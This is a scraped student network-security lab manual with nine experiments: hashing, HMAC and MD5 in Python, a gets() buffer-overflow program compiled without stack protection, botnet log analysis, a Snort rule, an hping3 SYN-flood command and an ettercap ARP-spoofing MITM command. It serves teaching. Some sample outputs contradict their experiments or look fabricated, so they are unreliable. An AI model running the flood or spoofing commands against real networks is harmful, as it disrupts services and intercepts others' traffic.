0% found this document useful (0 votes)
4 views15 pages

Network Security Lab Manual

Uploaded by

snehaakm2001
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
4 views15 pages

Network Security Lab Manual

Uploaded by

snehaakm2001
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

EXPERIMENT 1: COMPUTING HASH (SHA-256)

Aim:
To study and implement the SHA-256 cryptographic hash
algorithm and generate a fixed-length hash value for a given
input message in order to understand the concept of data
integrity and one-way hash functions used in network security.
Procedure:
1. Open Python IDE or terminal in the system.
2. Import the hashlib library which provides secure hash
functions.
3. Accept a message from the user as input.
4. Convert the input message into byte format.
5. Apply the SHA-256 hashing algorithm to the message.
6. Generate the hexadecimal digest of the hash value.
7. Display the generated hash output on the screen.
8. Verify that even a small change in input produces a
completely different hash value.
Code:
import hashlib
message = input("Enter message: ").encode()
hash_value = hashlib.sha256(message).hexdigest()
print("SHA-256 Hash:", hash_value)

output:
SHA-256 Hash:
2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e7304
3362938b9824
Result:
The SHA-256 hash value for the given message was
successfully generated and verified.
EXPERIMENT 2: COMPUTING HMAC
Aim:
To implement and compute the Hash-based Message
Authentication Code (HMAC) using SHA-256 algorithm in order
to ensure both data integrity and authentication using a secret
key.
Procedure:
1. Open Python environment.
2. Import hashlib and hmac libraries.
3. Accept the message input from the user.
4. Accept a secret key from the user.
5. Convert both message and key into byte format.
6. Apply HMAC function using SHA-256 hashing algorithm.
7. Generate the hexadecimal digest.
8. Display the generated HMAC value.
9. Observe that changing the key produces a different
output.
Code:
import hashlib
import hmac
message = input("Enter message: ").encode()
key = input("Enter secret key: ").encode()
hmac_value = [Link](key, message,
hashlib.sha256).hexdigest()
print("HMAC:", hmac_value)

output:
SHA-256 Hash:
2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e7304
3362938b9824
Result:
HMAC value was successfully generated, ensuring both
integrity and authentication.
EXPERIMENT 3: COMPUTING SIMPLE MAC
Aim:
To implement a simple Message Authentication Code (MAC) by
combining a secret key and message and applying SHA-256
hash function to understand basic authentication mechanisms.
Procedure:
1. Open Python IDE.
2. Import hashlib library.
3. Accept message and secret key from the user.
4. Convert inputs into byte format.
5. Concatenate key and message.
6. Apply SHA-256 hash to the combined input.
7. Display the generated MAC value.
8. Compare output with HMAC to understand security
difference.
Code:
import hashlib

message = input("Enter message: ").encode()


key = input("Enter secret key: ").encode()

mac = hashlib.sha256(key + message).hexdigest()


print("Simple MAC:", mac)
output:
Simple MAC:
6f8db599de986fab7a21625b7916589c5f7d3e4a6c2d1b0a9f8e
7d6c5b4a3a2f
Result:
Simple MAC value was successfully generated.
EXPERIMENT 4: MD5 HASH
DEMONSTRATION
Aim:
To implement MD5 hashing algorithm and demonstrate the
generation of 128-bit message digest for a given input message
to understand older cryptographic hash functions and their
limitations.
Procedure:
1. Open Python IDE.
2. Import hashlib module.
3. Accept message input from the user.
4. Convert input into byte format.
5. Apply MD5 hashing algorithm.
6. Generate hexadecimal output.
7. Display the hash value.
8. Compare MD5 output size with SHA-256.
Code:
import hashlib

message = input("Enter message: ").encode()


md5_hash = hashlib.md5(message).hexdigest()

print("MD5 Hash:", md5_hash)

output:
MD5 Hash: 5d41402abc4b2a76b9719d911017c592

Result:
MD5 hash value was successfully generated.
EXPERIMENT 5: BUFFER OVERFLOW
DEMONSTRATION
Aim:
To implement and demonstrate a buffer overflow vulnerability
using an unsafe C program and analyze how improper memory
handling can lead to program crash and security risks.
Procedure:
1. Open Linux/Kali terminal.
2. Create a C program using gets() function.
3. Define a character buffer with limited size.
4. Compile the program without stack protection.
5. Execute the compiled program.
6. Provide input larger than buffer size.
7. Observe abnormal behavior such as segmentation fault.
8. Analyze how memory beyond buffer is overwritten.
Code:
#include <stdio.h>

int main() {
char buffer[10];
printf("Enter text: ");
gets(buffer);
printf("You entered: %s\n", buffer);
return 0;
}
Compile:
gcc -fno-stack-protector -z execstack vuln.c -o vuln
output:
You entered: hello

Result:
The program crashed due to buffer overflow, demonstrating
memory vulnerability.
EXPERIMENT 6: BOTNET DETECTION USING DATASET
Aim:
To analyze network traffic dataset and detect suspicious botnet
activity by identifying abnormal IP traffic patterns using Python
data analysis techniques.
Procedure:
1. Install and import pandas library.
2. Load botnet dataset in CSV format.
3. Display dataset structure.
4. Count frequency of Source IP addresses.
5. Identify IPs with unusually high traffic.
6. Analyze suspicious IP behavior.
7. Print top suspicious IP addresses.
Code:
import pandas as pd

data = pd.read_csv("botnet_dataset.csv")

print("Top Suspicious IPs:")


print(data['SourceIP'].value_counts().head(10))

output:
Top Suspicious IPs:
[Link] 150
[Link] 120
[Link] 98
[Link] 85
[Link] 76
[Link] 65
[Link] 60
[Link] 55
[Link] 50
[Link] 45
Name: SourceIP, dtype: int64

Result:
Suspicious IP addresses involved in abnormal traffic were
successfully identified.

EXPERIMENT 7: SNORT CUSTOM RULE


CREATION
Aim:
To create and configure a custom rule in Snort IDS to detect
ICMP packets and understand intrusion detection mechanism.
Procedure:
1. Install Snort in Linux.
2. Open [Link] configuration file.
3. Write a custom ICMP alert rule.
4. Save and exit the file.
5. Run Snort in console mode.
6. Generate ping traffic from another system.
7. Observe alert messages displayed in terminal.
Code:
alert icmp any any -> any any (msg:"Ping Detected";
sid:1000001; rev:1;)
snort -A console -q -c /etc/snort/[Link] -i eth0

output:
04/07-09:45:12.123456 [**] [1:1000001:1] Ping
Detected [**]
[Classification: Misc activity] [Priority: 3]
{ICMP} [Link] -> [Link]

Result:
Snort successfully detected ICMP packets using the custom
rule.
EXPERIMENT 8: DOS ATTACK DEMONSTRATION
Aim:
To simulate a Denial of Service (DoS) attack by generating large
number of SYN packets and analyze its impact on network
traffic.
Procedure:
1. Identify target machine IP address.
2. Open Kali Linux terminal.
3. Use hping3 tool.
4. Generate SYN flood traffic.
5. Monitor network behavior using Wireshark.
6. Observe high packet transmission rate.
Code:
hping3 -S --flood -p 80 <target_ip>

output:

^C
--- <target_ip> hping statistic ---
100000 packets transmitted, 0 packets received, 100% packet
loss

Result:
SYN flood packets were successfully generated to simulate DoS
attack.
EXPERIMENT 9: ARP SPOOFING (MITM)
Aim:
To perform ARP spoofing attack and demonstrate Man-in-the-
Middle attack by intercepting communication between victim
and gateway.
Procedure:
1. Enable IP forwarding in Kali Linux.
2. Identify victim and gateway IP addresses.
3. Launch Ettercap tool.
4. Configure ARP poisoning parameters.
5. Start attack.
6. Capture and analyze intercepted traffic.
7. Observe communication interception.
Code:
echo 1 > /proc/sys/net/ipv4/ip_forward
ettercap -T -q -i eth0 -M arp:remote /victim_ip/ /gateway_ip/

output:
ettercap 0.8.x copyright...
Listening on:
eth0 -> [Link]

ARP poisoning victims:

GROUP 1 : [Link]
GROUP 2 : [Link]
Starting Unified sniffing...

Result:
Traffic between victim and gateway was successfully
intercepted using ARP spoofing.

You might also like